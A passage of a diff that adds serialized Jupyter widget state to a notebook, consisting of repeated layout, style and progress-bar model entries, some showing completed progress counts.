+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a6b2ca41ffb24b9193a83fd9a4c24a8c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a8dbb00149f148ceaee2474c4304c902": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a9ab859e76814985877a4bacdb04e95a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "aa44d82861804483b44e0f893b698b72": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ab1c2c3e457944acb16508cf7a721290": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ac71f4fe6e804f19b2529c82e5a42049": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "accd8a5f56cf41c5af297f8bf93f7058": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ed9e0cfb4635476f9e31c5b48aeafde8",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_396aee75c5954aa9b634d79c18177977",
+            "value": 75
+          }
+        },
+        "ad07cccdd8d44a9ab5e3458e8d902ac6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "aea53b42c35947c58d2c113bd2043078": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b014fb9554fb4f61a8d44135a6ad4954": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d612163ad6d24d91a6d7ee758d8d6367",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ab1c2c3e457944acb16508cf7a721290",
+            "value": " 75/75 [00:21&lt;00:00,  3.39it/s]"
+          }
+        },
+        "b3ae18d50eb4415b950f98bb38362207": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b4209eed23cb45038a5c614bfe8bf3b6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "b5a46aec8d594d02b618b9d59e4f4518": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b67319578dc84245ad16cb8d25d3173c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b7aa53a4de824d7fbec2a07c1771bc24": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_17c87915e01b4d2fa79042759bf1a57d",
+              "IPY_MODEL_bafabfceff6e4f76b900878a4077337e",
+              "IPY_MODEL_5d1c6a49ce6f4596946a2fd91bec3312"
+            ],
+            "layout": "IPY_MODEL_795329002e034ec4aead224cf74ea361"
+          }
+        },
+        "b991b21d18ec471fb18b291a0c10aa6e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b9cf936d26124cad959de16fcf5bea63": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ba72519befe047eabb826d1f7ec0e39c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "bafabfceff6e4f76b900878a4077337e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cd437bc3e2194f1a8c5e83ec98745b58",
+            "max": 825,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_18ba1c9da9714f2494c06570e4dc1d64",
+            "value": 825
+          }
+        },
+        "bc60bbefdc2a490588dd8f58327fd264": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bc72d593b56c42899ff4779e92bcf818": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_cabab037d12a455bbd283477e481d4ca",
+              "IPY_MODEL_7cdde9f1b0f1403ababc0e3e120617c4",
+              "IPY_MODEL_28c075d27bf8437c99b4fa8091d4d2c0"
+            ],
+            "layout": "IPY_MODEL_7c5bcff9ea9344dca52dbaa4a6545b50"
+          }
+        },
+        "bc9783a6d9d0437b881b01cad81c0173": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bce74d8ba4dd4a35bd276ba2dbf0ffd1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "be0a3bc217b04b2dbd06a90141c0dd35": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "bfc87d61a154451294fa790fc30075ea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c8cabf1d8ffe421296725d8494ba0d3b",
+              "IPY_MODEL_28fe7cfc4f4048eca1120a7228dcd629",
+              "IPY_MODEL_9ecd3535823549bbbcbf3f131704d3eb"
+            ],
+            "layout": "IPY_MODEL_03b9fb0d0fa44ac8bf1a6aa678ff82c8"
+          }
+        },
+        "c081010577e7490eae450d69b0458a74": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c1dc0d80451c4d098f16eb6ec7eed752": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_d4c5db5f7ffe42beb2065e14cbdd755d",
+              "IPY_MODEL_accd8a5f56cf41c5af297f8bf93f7058",
+              "IPY_MODEL_824b0b410fed4ea1b5bc7f88236fc3e8"
+            ],
+            "layout": "IPY_MODEL_a6b2ca41ffb24b9193a83fd9a4c24a8c"
+          }
+        },
+        "c2ccf29c76d1461c8e820cdd1091684a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c30445a77e81411bbad4f90b8c54bc35": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c4995db7a62844b4a00daaf55847cabd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_080c7086e8684bb3bb857d23f426d5dd",
+            "max": 221326504,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_37e74a92120d40ab99b8a3efeb397bd8",
+            "value": 221326504
+          }
+        },
+        "c5f787d7f16542baa5a5657c3ecb14a0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
